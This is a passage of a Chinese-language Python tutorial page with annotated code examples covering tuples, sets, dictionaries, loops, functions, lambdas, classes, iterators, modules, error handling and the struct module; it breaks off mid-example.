<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">thistuple = (<span class="string">"apple"</span>, <span class="string">"banana"</span>, <span class="string">"cherry"</span>)</span><br><span class="line"></span><br><span class="line">print(len(thistuple))</span><br><span class="line"></span><br><span class="line"><span class="comment"># 计算指定值在元组中的个数</span></span><br><span class="line">thistuple.count(<span class="string">"apple"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 找到指定值的位置</span></span><br><span class="line">ll.index(<span class="string">"banana"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 以下操作会报错</span></span><br><span class="line">thistuple[<span class="number">0</span>] = <span class="number">2</span></span><br><span class="line"><span class="keyword">del</span> thistuple[<span class="number">0</span>]</span><br></pre></td></tr></table></figure>
<h4 id="Set"><a href="#Set" class="headerlink" title="Set"></a>Set</h4><p>与 list 类似,不同点在于 Set 是无序的,自动去除重复成员。<br>因为是无序的,每次取值顺序是不固定的,所以使用 pop 删除的不知道是哪个值。<br>使用大括号构造:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">s = {<span class="string">"a"</span>, <span class="string">"b"</span>, <span class="string">"c"</span>}</span><br><span class="line"></span><br><span class="line"><span class="comment"># 合并</span></span><br><span class="line">s.update({<span class="number">1</span>,<span class="number">2</span>})</span><br><span class="line"></span><br><span class="line"><span class="comment"># 添加</span></span><br><span class="line">s.add()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 删除指定值,如果传入值没有,会报错</span></span><br><span class="line">s.remove()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 删除指定值,如果传入值没有,不会报错</span></span><br><span class="line">s.discard()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 返回不属于s2中只属于s的成员组成的set</span></span><br><span class="line">s.difference(s2)</span><br></pre></td></tr></table></figure>
<h4 id="Dictionary"><a href="#Dictionary" class="headerlink" title="Dictionary"></a>Dictionary</h4><p>类似 JS 中的 Object,键值对的形式,不同的是 key 值必须是字符串,要使用引号引起来。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line">dic = {</span><br><span class="line"> <span class="string">"brand"</span>: <span class="string">"Ford"</span>,</span><br><span class="line"> <span class="string">"model"</span>: <span class="string">"Mustang"</span>,</span><br><span class="line"> <span class="string">"year"</span>: <span class="number">1964</span></span><br><span class="line">}</span><br><span class="line"><span class="comment"># 构造函数创建</span></span><br><span class="line">dic = dict(brand=<span class="string">'Ford'</span>, model=<span class="string">'Mustang'</span>, year=<span class="number">1964</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 如果没有对应的key,会报错</span></span><br><span class="line">print(dic[<span class="string">'brand'</span>])</span><br><span class="line"><span class="comment"># 使用get没有对应key的时候不会报错,并且可以设置默认值</span></span><br><span class="line">dic.get(<span class="string">"model"</span>, <span class="string">""</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 遍历, n代表key</span></span><br><span class="line"><span class="keyword">for</span> n <span class="keyword">in</span> dic:</span><br><span class="line"> print(dic[n])</span><br><span class="line"></span><br><span class="line"><span class="comment"># items相当于是键值对组成的list</span></span><br><span class="line"><span class="keyword">for</span> x, y <span class="keyword">in</span> dic.items():</span><br><span class="line"> print(x, y)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 根据key删除</span></span><br><span class="line">dic.pop(<span class="string">'model'</span>)</span><br><span class="line"><span class="keyword">del</span> dic[<span class="string">'model'</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># 删除最后一组</span></span><br><span class="line">dic.popitem()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 清空</span></span><br><span class="line">dic.clear()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 更新</span></span><br><span class="line">dic.update()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 返回keys list</span></span><br><span class="line">dic.keys()</span><br><span class="line"></span><br><span class="line"><span class="comment"># values list</span></span><br><span class="line">dic.values()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 如果参数对象中有相同key就覆盖,没有就添加,有点像Object.assign</span></span><br><span class="line">dic.update({<span class="string">'f'</span>: <span class="number">2</span>})</span><br></pre></td></tr></table></figure>
<h3 id="条件语句"><a href="#条件语句" class="headerlink" title="条件语句"></a>条件语句</h3><p>写法 1,正常换行缩进:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">a = <span class="number">200</span></span><br><span class="line">b = <span class="number">33</span></span><br><span class="line"><span class="keyword">if</span> b > a:</span><br><span class="line"> print(<span class="string">"b is greater than a"</span>)</span><br><span class="line"><span class="keyword">elif</span> a == b:</span><br><span class="line"> print(<span class="string">"a and b are equal"</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> print(<span class="string">"a is greater than b"</span>)</span><br></pre></td></tr></table></figure>
<p>写法 2,单行 if:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> a > b: print(<span class="string">"a is greater than b"</span>)</span><br></pre></td></tr></table></figure>
<p>写法 3,单行 if,执行语句前置:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">print(<span class="string">"A"</span>) <span class="keyword">if</span> a > b <span class="keyword">else</span> print(<span class="string">"B"</span>)</span><br><span class="line"></span><br><span class="line">print(<span class="string">"A"</span>) <span class="keyword">if</span> a > b <span class="keyword">else</span> print(<span class="string">"="</span>) <span class="keyword">if</span> a == b <span class="keyword">else</span> print(<span class="string">"B"</span>)</span><br></pre></td></tr></table></figure>
<p>写法 4,增加逻辑运算符 and, or, not</p>
<h3 id="循环语句"><a href="#循环语句" class="headerlink" title="循环语句"></a>循环语句</h3><h4 id="while"><a href="#while" class="headerlink" title="while"></a>while</h4><p>while 循环和其他语言基本相似,也存在 break 跳出,continue 进入下次循环。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">i = <span class="number">1</span></span><br><span class="line"><span class="keyword">while</span> i < <span class="number">6</span>:</span><br><span class="line"> print(i)</span><br><span class="line"> <span class="keyword">if</span> i == <span class="number">3</span>:</span><br><span class="line"> <span class="comment"># break跳出</span></span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> i += <span class="number">1</span></span><br></pre></td></tr></table></figure>
<h4 id="for"><a href="#for" class="headerlink" title="for"></a>for</h4><p>可以使用 for…in 循环集合和字符串,可以使用 break,continue:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">fruits = [<span class="string">"apple"</span>, <span class="string">"banana"</span>, <span class="string">"cherry"</span>]</span><br><span class="line"><span class="keyword">for</span> x <span class="keyword">in</span> fruits:</span><br><span class="line"> print(x)</span><br><span class="line"> <span class="keyword">if</span> x == <span class="string">"banana"</span>:</span><br><span class="line"> <span class="comment"># 可以使用break跳出</span></span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> x <span class="keyword">in</span> <span class="string">"banana"</span>:</span><br><span class="line"> print(x)</span><br></pre></td></tr></table></figure>
<p>利用 range 函数限制循环次数:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 输出整数0 到 5</span></span><br><span class="line"><span class="keyword">for</span> x <span class="keyword">in</span> range(<span class="number">6</span>):</span><br><span class="line"> print(x)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 输出整数2 到 5</span></span><br><span class="line"><span class="keyword">for</span> x <span class="keyword">in</span> range(<span class="number">2</span>, <span class="number">6</span>):</span><br><span class="line"> print(x)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 逐个输出从2到30的整数,每次增加3</span></span><br><span class="line"><span class="keyword">for</span> x <span class="keyword">in</span> range(<span class="number">2</span>, <span class="number">30</span>, <span class="number">3</span>):</span><br><span class="line"> print(x)</span><br></pre></td></tr></table></figure>
<p>for…else 可以在循环结束后执行 else 之后的语句:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> x <span class="keyword">in</span> range(<span class="number">6</span>):</span><br><span class="line"> print(x)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> print(<span class="string">"Finally finished!"</span>)</span><br></pre></td></tr></table></figure>
<h3 id="函数"><a href="#函数" class="headerlink" title="函数"></a>函数</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># def定义,并设置参数默认值</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">my_function</span><span class="params">(country = <span class="string">"Norway"</span>)</span>:</span></span><br><span class="line"> print(<span class="string">"I am from "</span> + country)</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span></span><br></pre></td></tr></table></figure>
<h3 id="lambda-表达式"><a href="#lambda-表达式" class="headerlink" title="lambda 表达式"></a>lambda 表达式</h3><p>可以看做是一句话匿名函数。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">x = <span class="keyword">lambda</span> a, b, c : a + b + c</span><br><span class="line">print(x(<span class="number">5</span>, <span class="number">6</span>, <span class="number">2</span>))</span><br></pre></td></tr></table></figure>
<p>lambda 可以用于创建高阶函数:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">myfunc</span><span class="params">(n)</span>:</span></span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">lambda</span> a : a * n</span><br><span class="line"></span><br><span class="line">mytripler = myfunc(<span class="number">3</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 输出33</span></span><br><span class="line">print(mytripler(<span class="number">11</span>))</span><br></pre></td></tr></table></figure>
<h3 id="面向对象"><a href="#面向对象" class="headerlink" title="面向对象"></a>面向对象</h3><p>这里不介绍面向对象的含义,只介绍用 python 如何实现。</p>
<h4 id="class"><a href="#class" class="headerlink" title="class"></a>class</h4><p>python 作为面向对象的语言,对 class 有完整的实现方式。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Person</span>:</span></span><br><span class="line"> <span class="comment"># 构造函数</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self, name, age)</span>:</span></span><br><span class="line"> self.name = name</span><br><span class="line"> self.age = age</span><br><span class="line"></span><br><span class="line"> <span class="comment"># 第一个参数是实例对象自身,self名字不是固定的</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">myfunc</span><span class="params">(self)</span>:</span></span><br><span class="line"> print(<span class="string">"Hello my name is "</span> + self.name)</span><br><span class="line"></span><br><span class="line">p1 = Person(<span class="string">"John"</span>, <span class="number">36</span>)</span><br><span class="line">p1.myfunc()</span><br><span class="line"></span><br><span class="line"><span class="keyword">del</span> p1.name</span><br><span class="line"><span class="keyword">del</span> p1</span><br></pre></td></tr></table></figure>
<h4 id="继承"><a href="#继承" class="headerlink" title="继承"></a>继承</h4><p>创建子类时传入父类来继承:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Student</span><span class="params">(Person)</span>:</span></span><br><span class="line"> <span class="comment"># pass代表什么都不做</span></span><br><span class="line"> <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">x = Student(<span class="string">"Mike"</span>, <span class="string">"Olsen"</span>)</span><br><span class="line">x.printname()</span><br></pre></td></tr></table></figure>
<p>修改子类构造函数:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Student</span><span class="params">(Person)</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self, fname, lname, year)</span>:</span></span><br><span class="line"> <span class="comment"># 为了继承父类构造函数,先调用父类构造函数</span></span><br><span class="line"> Person.__init__(self, fname, lname)</span><br><span class="line"> self.graduationyear = year</span><br><span class="line"></span><br><span class="line"> <span class="comment"># 增加子类方法</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">welcome</span><span class="params">(self)</span>:</span></span><br><span class="line"> print(<span class="string">"Welcome"</span>, self.firstname, self.lastname, <span class="string">"to the class of"</span>, self.graduationyear)</span><br></pre></td></tr></table></figure>
<h3 id="Iterator"><a href="#Iterator" class="headerlink" title="Iterator"></a>Iterator</h3><p>list, set, dict, tuple 都是可遍历对象,除了 for…in 遍历外,还可以使用 iter + next 来遍历。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">mytuple = (<span class="string">"apple"</span>, <span class="string">"banana"</span>, <span class="string">"cherry"</span>)</span><br><span class="line">myit = iter(mytuple)</span><br><span class="line"></span><br><span class="line">print(next(myit))</span><br><span class="line">print(next(myit))</span><br><span class="line">print(next(myit))</span><br></pre></td></tr></table></figure>
<p>同样 iter 也可以用于遍历字符串的每一个字符。</p>
<p>可以构造自己的对象支持 iter 遍历,</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 只需要实现__iter__,__next__两个方法。</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">MyNumbers</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__iter__</span><span class="params">(self)</span>:</span></span><br><span class="line"> self.a = <span class="number">1</span></span><br><span class="line"> <span class="keyword">return</span> self</span><br><span class="line"></span><br><span class="line"> <span class="comment"># 决定每一次next调用返回的值</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__next__</span><span class="params">(self)</span>:</span></span><br><span class="line"> <span class="keyword">if</span> self.a <= <span class="number">20</span>:</span><br><span class="line"> x = self.a</span><br><span class="line"> self.a += <span class="number">1</span></span><br><span class="line"> <span class="keyword">return</span> x</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="comment"># 停止遍历</span></span><br><span class="line"> <span class="keyword">raise</span> StopIteration</span><br><span class="line"></span><br><span class="line">myclass = MyNumbers()</span><br><span class="line">myiter = iter(myclass)</span><br><span class="line"></span><br><span class="line">print(next(myiter))</span><br><span class="line">print(next(myiter))</span><br><span class="line">print(next(myiter))</span><br><span class="line">print(next(myiter))</span><br><span class="line">print(next(myiter))</span><br><span class="line"></span><br><span class="line">myclass1 = MyNumbers()</span><br><span class="line">myiter1 = iter(myclass)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> x <span class="keyword">in</span> myiter1:</span><br><span class="line"> print(x)</span><br></pre></td></tr></table></figure>
<h3 id="模块"><a href="#模块" class="headerlink" title="模块"></a>模块</h3><p>模块由单独文件组成,文件名即文件名,与其他语言相似。</p>
<h4 id="创建模块"><a href="#创建模块" class="headerlink" title="创建模块"></a>创建模块</h4><p>文件 mymodule.py:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">greeting</span><span class="params">(name)</span>:</span></span><br><span class="line"> print(<span class="string">"hello, "</span> + name)</span><br><span class="line"></span><br><span class="line">person1 = {</span><br><span class="line"> <span class="string">"name"</span>: <span class="string">"John"</span>,</span><br><span class="line"> <span class="string">"age"</span>: <span class="number">36</span>,</span><br><span class="line"> <span class="string">"country"</span>: <span class="string">"Norway"</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment"># python mymodule.py 当做可执行文件执行时会直接执行这里的内容</span></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line"> <span class="keyword">import</span> sys</span><br><span class="line"> print(int(sys.argv[<span class="number">1</span>]))</span><br></pre></td></tr></table></figure>
<p>可以通过创建一个目录,里面来存放我们所有的 module,然后组成一个 package。然后在目录下面加一个<code>__init__.py</code> 文件,我们 import 的时候会自动寻找其中中定义的模块,通常我们在这个文件中导入所有的子模块。有点类似 js import 一个目录的时候,自动寻找下面的 index.js。</p>
<h4 id="引入模块"><a href="#引入模块" class="headerlink" title="引入模块"></a>引入模块</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> mymodule</span><br><span class="line"></span><br><span class="line">mymodule.greeting(<span class="string">'tom'</span>)</span><br><span class="line"></span><br><span class="line">print(mymodule.person1[<span class="string">"age"</span>])</span><br></pre></td></tr></table></figure>
<p>引入时搜索顺序为:内置模块 => 根据 sys.path 的值搜索<br>sys.path 是一个 list,默认为 当前目录,PYTHONPATH 定义的值指向的目录,第三方包安装目录。<br>所以一般不要让自己定义的模块与第三方模块重名。</p>
<h5 id="引入时重命名"><a href="#引入时重命名" class="headerlink" title="引入时重命名"></a>引入时重命名</h5><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> mymodule <span class="keyword">as</span> mx</span><br><span class="line"></span><br><span class="line">a = mx.person1[<span class="string">"age"</span>]</span><br><span class="line">print(a)</span><br></pre></td></tr></table></figure>
<h5 id="按需导入"><a href="#按需导入" class="headerlink" title="按需导入"></a>按需导入</h5><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> mymodule <span class="keyword">import</span> person1</span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> (person1[<span class="string">"age"</span>])</span><br></pre></td></tr></table></figure>
<h4 id="内置模块"><a href="#内置模块" class="headerlink" title="内置模块"></a>内置模块</h4><p>python 提供了很多内置模块,这些模块提供了非常强大、便捷的功能。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> platform</span><br><span class="line"><span class="comment"># 查看操作系统</span></span><br><span class="line">x = platform.system()</span><br><span class="line">print(x)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用dir可以查看模块中的方法和属性</span></span><br><span class="line">print(dir(platform))</span><br></pre></td></tr></table></figure>
<h4 id="安装第三方模块"><a href="#安装第三方模块" class="headerlink" title="安装第三方模块"></a>安装第三方模块</h4><p>使用内置的 pip 可以管理本地的第三方模块,另外在 <a href="https://pypi.org" target="_blank" rel="external">https://pypi.org</a> 可以找到需要的库,类似 js 中的 npm。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">pip install requests</span><br><span class="line">pip uninstall requests</span><br><span class="line">pip list</span><br></pre></td></tr></table></figure>
<p><a href="https://wiki.python.org/moin/UsefulModules" target="_blank" rel="external">https://wiki.python.org/moin/UsefulModules</a> 整理了最常用的一些第三方模块。</p>
<h3 id="错误捕获"><a href="#错误捕获" class="headerlink" title="错误捕获"></a>错误捕获</h3><p>通过 try…except 捕获,except 可以指定具体错误,不指定就捕获之前所有未捕获的错误,finally 总会最后执行。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">try</span>:</span><br><span class="line"> print(x)</span><br><span class="line"><span class="keyword">except</span> NameError:</span><br><span class="line"> print(<span class="string">'not defined'</span>)</span><br><span class="line"><span class="keyword">except</span>:</span><br><span class="line"> print(<span class="string">'Something else went wrong'</span>)</span><br><span class="line"><span class="keyword">finally</span>:</span><br><span class="line"> print(<span class="string">'finally'</span>)</span><br></pre></td></tr></table></figure>
<p>else 可以在未发生错误时执行:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">try</span>:</span><br><span class="line"> print(<span class="string">"Hello"</span>)</span><br><span class="line"><span class="keyword">except</span>:</span><br><span class="line"> print(<span class="string">"Something went wrong"</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> print(<span class="string">"Nothing went wrong"</span>)</span><br></pre></td></tr></table></figure>
<h3 id="struct-模块"><a href="#struct-模块" class="headerlink" title="struct 模块"></a>struct 模块</h3><ul>
<li><p>pack 方法 将 python 字符转换成用于网络传输的字节码</p>
</li>
<li><p>unpack 做逆转换,将字节码重新转成 python 字符串。</p>
</li>
</ul>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">struct.pack(fmt, arg1, arg2, ...)</span><br></pre></td></tr></table></figure>
<p>fmt 可以传入一个或多个格式字符,根据传入的 fmt 不同,会产生不同的结果,结果长度也不同。</p>
<ul>
<li>fmt 格式字符对应于 C 语言中的类型:</li>
</ul>
<table>
<thead>
<tr>
<th>Format</th>
<th>C Type</th>
<th>Python</th>
<th>字节数</th>
</tr>
</thead>
<tbody>
<tr>
<td>x</td>
<td>pad byte</td>
<td>no value</td>
<td>1</td>
</tr>
<tr>
<td>c</td>
<td>char</td>
<td>string of length 1</td>
<td>1</td>
</tr>
<tr>
<td>b</td>
<td>signed char</td>
<td>integer</td>
<td>1</td>
</tr>
<tr>
<td>B</td>
<td>unsigned char</td>
<td>integer</td>
<td>1</td>
</tr>
<tr>
<td>?</td>
<td>_Bool</td>
<td>bool</td>
<td>1</td>
</tr>
<tr>
<td>h</td>
<td>short</td>
<td>integer</td>
<td>2</td>
</tr>
<tr>
<td>H</td>
<td>unsigned short</td>
<td>integer</td>
<td>2</td>
</tr>
<tr>
<td>i</td>
<td>int</td>
<td>integer</td>
<td>4</td>
</tr>
<tr>
<td>I</td>
<td>unsigned int</td>
<td>integer or long</td>
<td>4</td>
</tr>
<tr>
<td>l</td>
<td>long</td>
<td>integer</td>
<td>4</td>
</tr>
<tr>
<td>L</td>
<td>unsigned long</td>
<td>long</td>
<td>4</td>
</tr>
<tr>
<td>q</td>
<td>long long</td>
<td>long</td>
<td>8</td>
</tr>
<tr>
<td>Q</td>
<td>unsigned long long</td>
<td>long</td>
<td>8</td>
</tr>
<tr>
<td>f</td>
<td>float</td>
<td>float</td>
<td>4</td>
</tr>
<tr>
<td>d</td>
<td>double</td>
<td>float</td>
<td>8</td>
</tr>
<tr>
<td>s</td>
<td>char[]</td>
<td>string</td>
<td>1</td>
</tr>
<tr>
<td>p</td>
<td>char[]</td>
<td>string</td>
<td>1</td>
</tr>
<tr>
<td>P</td>
<td>void *</td>
<td>long</td>
</tr>
</tbody>
</table>
<p>实例:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>struct.pack(<span class="string">'b'</span>, <span class="number">125</span>)</span><br><span class="line"><span class="string">'}'</span></span><br><span class="line"><span class="meta">>>> </span>struct.pack(<span class="string">'b'</span>, <span class="number">127</span>)</span><br><span class="line"><span class="string">'\x7f'</span></span><br><span class="line"><span class="comment"># 超出表示范围的时候会报错</span></span><br><span class="line"><span class="meta">>>> </span>struct.pack(<span class="string">'b'</span>, <span class="number">128</span>)</span><br><span class="line">Traceback (most recent call last):</span><br><span class="line"> File <span class="string">"<stdin>"</span>, line <span class="number">1</span>, <span class="keyword">in</span> <module></span><br><span class="line">struct.error: byte format requires <span class="number">-128</span> <= number <= <span class="number">127</span></span><br><span class="line"></span><br><span class="line"><span class="meta">>>> </span>struct.pack(<span class="string">'i'</span>, <span class="number">11</span>)</span><br><span class="line"><span class="string">'\x0b\x00\x00\x00'</span> <span class="comment"># 4字节</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 参数对不上会报错</span></span><br><span class="line"><span class="meta">>>> </span>struct.pack(<span class="string">'ii'</span>, <span class="number">11</span>)</span><br><span 